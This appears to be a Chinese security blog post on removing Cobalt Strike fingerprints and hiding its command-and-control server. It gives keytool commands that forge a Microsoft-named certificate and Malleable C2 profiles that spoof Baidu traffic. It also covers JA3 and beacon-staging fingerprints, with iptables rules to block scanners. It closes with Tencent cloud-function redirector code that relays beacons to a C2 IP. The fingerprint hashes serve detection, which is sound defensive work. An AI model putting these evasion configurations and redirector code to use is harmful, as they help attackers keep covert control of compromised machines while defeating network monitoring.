前言
很早之前已經(jīng)在cobalt strike 上做過了一些特征處理,作為臨時的一種方案。不過并沒有完全去除,這次打算再把cobalt strike的特征和隱藏的一些手段捋一遍。
端口
cobalt strike 默認(rèn)50050端口,修改也很簡單。只需要編輯teamserver文件,修改server_port 即可。

cobaltstrike.store
cobaltstrike.store證書只用于服務(wù)端和客戶端通訊。區(qū)別于HTTPS上線使用的證書。
根據(jù)這篇文章 https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/csmo-ren-duan-53e3-zheng-4e66-za-xiang 提示HTTPS通信使用的是ssl.store證書。
cobalt strike 默認(rèn)的證書存在cobalt strike 的指紋信息。需要keytool (Java數(shù)據(jù)證書的管理工具) 修改證書信息,創(chuàng)建新的cobaltstrike.store。
keytool -keystore cobaltstrike.store -storepass ccc123456 -keypass ccc123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
修改之前默認(rèn)的store信息
keytool -list -v -keystore cobaltstrike.store -storepass 123456

這里用的4.1版本,默認(rèn)SHA256值為
64257FC0FAC31C01A5CCD816C73EA86E639260DA1604D04DB869BB603C2886E6
可以在censys.io上直接搜索這個證書。

修改之后的特征值如下圖

HTTP 流量特征
在使用cobalt strike HTTP通信的過程中,通過wireshark可抓取HTTP協(xié)議。包括請求的固定地址,請求頭等等。可以看到一些固定的請求信息成為一部分特征。

所以Malleable-C2-Profiles 配置文件由此而來,它允許我們僅通過一個簡單的配置文件來改變Beacon與cobalt strike通信時的流量特征與行為。
自己簡單從 https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile 上改寫了一個配置文件。
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
http-get {
set uri "/5eN1bjq8AAUYm2zgoY3K/ll_9354efa.js";
client {
header "Accept" "*/*";
header "Host" "www.baidu.com";
header "Content-Type" "text/html;charset=UTF-8";
header "Cache-Control" "no-cache";
metadata {
base64;
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "nginx";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
header "Cache-Control" "no-cache";
header "Content-Type" "text/html;charset=UTF-8";
output {
print;
}
}
}
http-post {
set uri "/hiscd37ed75a9387c5b.js";
client {
header "Accept" "*/*";
header "Content-Type" "text/html;charset=UTF-8";
header "Host" "hectorstatic.baidu.com";
id {
parameter "sn";
}
parameter "dc_ref" "http%3A%2F%2Fwww.baidu.com";
output {
base64;
print;
}
}
server {
header "Server" "nginx";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Type" "text/html;charset=UTF-8";
output {
print;
}
}
}
看起來也很簡單,無非就是修改了HTTP的get、post請求方式的一些信息。
通過./c2lint 檢測該profile文件。

可以看到我們偽造的請求信息。
再次啟動teamserver,后面跟上我們新建的profile文件。
wireshark 抓包證明了特征信息被修改了。

HTTPS 流量特征
那使用HTTPS加密通信,不可以繞過流量設(shè)備的檢測嗎?
答案是不可以。因?yàn)樵贐eacon上線時使用的HTTPS證書同樣具有特征。
以Cobalt Strike 4.1 為例,wireshark抓取Certificate數(shù)據(jù)包。

選擇Export Selected Packet Bytes,即導(dǎo)出分組字節(jié)流。
保存格式為'All files',命名為a.cer。
而后計算該證書的MD5和SHA256值。

也可利用censys.io搜索相關(guān)信息
443.https.tls.certificate.parsed.fingerprint_sha256:87f2085c32b6a2cc709b365f55873e207a9caa10bffecf2fd16d3cf9d94d390c

你以為這就完了嗎?在Certificate數(shù)據(jù)包里存在特征,而Client Hello數(shù)據(jù)包同樣也存在。

JA3 這個項(xiàng)目用于收集Client Hello數(shù)據(jù)包中以下字段的十進(jìn)制值:包括版本、可接受的密碼、擴(kuò)展列表、橢圓曲線密碼和橢圓曲線密碼格式。然后,用,來分隔各個字段、用-來分隔各個字段中的各個值,將這些值串聯(lián)在一起之后,計算 MD5,就是一個ja3。如果沒有某個字段,則這些字段的值為空。
我用wireshark抓一下HTTPS的Client Hello數(shù)據(jù)包。
第一個字段版本:TLS ClientHello version

0x0303 轉(zhuǎn)化十六進(jìn)制即為771。
第二個字段接受的加密算法:Cipher Suites

正好包括十九組,依次計算十進(jìn)制,即為
49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10
第三個字段擴(kuò)展列表中的每一個type值

使用-依次連接,即為
5-10-11-13-35-23-65281
第四個字段`支持的橢圓曲線 Extension
對supported group 字段的值依次計算。

即
29-23-24
最后一個字段 Extension: ec_point_formats
支持的點(diǎn)壓縮格式擴(kuò)展。

為0。
將上面數(shù)值用,拼接,而后MD5哈希,結(jié)果為72a589da586844d7f0818ce684948eea

有師傅已經(jīng)寫出了腳本實(shí)現(xiàn)自動化計算。
利用 https://github.com/Macr0phag3/ja3box 項(xiàng)目檢查一下計算是否正確。

對比 https://github.com/ByteSecLabs/ja3-ja3s-combo/blob/master/master-list.txt 可證實(shí)是CobaltStrike的ja3指紋。但是直接通過ja3值去判定cobalt strike顯得不是很嚴(yán)謹(jǐn)。
具體參考 https://zhuanlan.zhihu.com/p/342562936
基于以上對HTTPS證書特征的查看,強(qiáng)烈建議一定要修改默認(rèn)的HTTPS證書,重新申請一個HTTPS證書。
先在godaddy購買的域名上,添加A記錄,指向自己的服務(wù)器。

再去freessl網(wǎng)站申請證書。

會生成一個TXT記錄,復(fù)制進(jìn)DNS域名管理。而后等待解析。
通過后,點(diǎn)擊下載文件。

得到full_chain.pem證書和private.key私鑰兩個文件。上傳至cobalt strike文件夾下,使用keytool重新創(chuàng)建store證書。
openssl pkcs12 -export -in full_chain.pem -inkey private.key -out cdn.cseroadweb.xyz.p12 -name cdn.cseroadweb.xyz -passout pass:ccc123456
keytool -importkeystore -deststorepass ccc123456 -destkeypass ccc123456 -destkeystore new.store -srckeystore cdn.cseroadweb.xyz.p12 -srcstoretype PKCS12 -srcstorepass ccc123456 -alias cdn.cseroadweb.xyz
創(chuàng)建后,在profile配置文件中,添加
https-certificate {
set keystore "new.store";
set password "ccc123456";
}
同時也將teamserver的store替換為new.store,保證cobalt strike去除特征。
測試可繞過某些流量監(jiān)控設(shè)備。
Beacon Staging 特征
做完了前面的工作以后,cobalt strike 的特征就沒有了嗎?
不,還有很要命的一個特征。
在cobalt strike 上線的時候,首先投遞一個被稱為stager的小巧payload,然后去beacon staging server下載體積較大更復(fù)雜的stage。具體細(xì)節(jié)不是很明白。
通過訪問默認(rèn)的uri就可以獲取到cobalt strike 的shellcode。有師傅已經(jīng)寫好了grab_beacon_config.nse腳本來識別beacon staging的特征。
nmap 47.10.xxx.xxx --script=grab_beacon_config.nse

且360的Quake主動測繪已經(jīng)有了通過beacon查找C2。具體參考 https://www.anquanke.com/post/id/224535
而修改這個特征的方法,目前只看到兩種:
- 修改源碼加密的密鑰,參考:https://cloud.tencent.com/developer/article/1764340
- 從防火墻上限制訪問beacon的端口。
菜雞的我只能通過iptables臨時禁用端口。
iptables -I INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s 47.10.xx.xx -ptcp --dport 443 -j ACCEPT
只允許47.10.xx.xx這個IP訪問443端口。
本地云服務(wù)器上發(fā)現(xiàn)沒有iptables服務(wù),只能使用iptablse-save生成配置文件
iptables-save > /etc/iptables.rules
配置網(wǎng)卡啟動前加載
編輯/etc/network/interfaces文件,添加
pre-up iptables-restore < /etc/iptables.rules
再重啟網(wǎng)卡即可。

隱藏
說完了Cobalt Strike的特征,再順帶著看一下隱藏的技巧。當(dāng)然,前提是修改了cobaltstrike.store、HTTPS證書、Beacon Staging 等特征。不然隱藏的再好又有什么意義。
CDN
簡介
利用CDN來轉(zhuǎn)發(fā)合法的http或者h(yuǎn)ttps流量來隱藏。
使用
可以利用Cloudflare 配置CDN來隱藏Cobalt Strike。測試的時候不穩(wěn)定,這里就不介紹了。
域前置
簡介
我們curl a.com -H "host:b.com",此時抓包流量,表面上顯示a.com,實(shí)際上我們與b.com進(jìn)行了通信。
通過在加速域名設(shè)置為高可信白名單子域名隱藏自己的真實(shí)域名與ip,且受害主機(jī)上的流量只有跟CDN通信的,不會存在真實(shí)的Cobalt Strike。
使用
在四月份的時候,阿里云還可以做域前置?,F(xiàn)在阿里云也做了驗(yàn)證加速域名的所有權(quán)。導(dǎo)致這個方案也夭折了。

云函數(shù)
簡介
Cobalt Strike客戶端的流量經(jīng)過云函數(shù)轉(zhuǎn)發(fā),到達(dá)Cobalt Strike服務(wù)器,以此來達(dá)到隱藏的效果。
使用
選擇騰訊云函數(shù)來隱藏Cobalt Strike,使用API網(wǎng)關(guān),點(diǎn)擊創(chuàng)建服務(wù)并新建API,使用python3.6來創(chuàng)建一個hello word模板。
注意創(chuàng)建API時,路徑為/

創(chuàng)建函數(shù)服務(wù)--->函數(shù)管理--->函數(shù)代碼

# -*- coding: utf8 -*-
import json
def main_handler(event, context):
print("Received event: " + json.dumps(event, indent = 2))
res = {
"isBase64Encoded": False,
"statusCode": 200,
"headers": {"Content-Type":"text/html"},
"body": "<html><body><h1>hello</h1></body></html>"
}
return res
創(chuàng)建觸發(fā)器,點(diǎn)擊發(fā)布。

詳情配置參考 https://www.cnblogs.com/ahtoh/p/14680876.html
配置云函數(shù)轉(zhuǎn)發(fā)到Cobalt Strike。只需要修改函數(shù)代碼,其余不做修改。
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://47.102.xxx.xxx:80'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print(e)
finally:
return response
再次發(fā)布測試。
訪問API網(wǎng)關(guān),默認(rèn)404頁面。

在Cobalt Strike 服務(wù)器端新增profile文件。
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "nginx";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
啟動Cobalt Strike 服務(wù)端,創(chuàng)建listener。

可以成功上線。且外部IP均為騰訊云。

wireshark抓取數(shù)據(jù)包也是這樣。

如果使用https,則需要修改函數(shù)代碼。
C2='https://47.102.xx.xx:443'

但因?yàn)轵v訊云函數(shù)只支持80,443端口,而beacon Staging 特征也是在80,443上,依然可以發(fā)現(xiàn)Cobalt Strike 的特征。
總結(jié)
在不會修改源碼的情況下,力求將Cobalt Strike 的特征清理干凈。當(dāng)老技術(shù)被用爛的時候,需要將多種技術(shù)融合更新產(chǎn)生新的技術(shù)。
參考資料
https://www.tr0y.wang/2020/06/28/ja3/
http://www.feidao.site/wordpress/?p=4457#toc-head-4
https://www.anquanke.com/post/id/224535
https://hosch3n.github.io/2020/12/16/%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%9A%90%E8%97%8FCobaltstrike%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E4%BA%91%E5%87%BD%E6%95%B0
https://www.anquanke.com/post/id/231448#h3-2
https://github.com/salesforce/ja3
http://cn0sec.cn/index.php/archives/485/
https://shimo.im/docs/3RjkWKcQxkrPwxyd/read
http://www.qishunwang.net/news_show_25509.aspx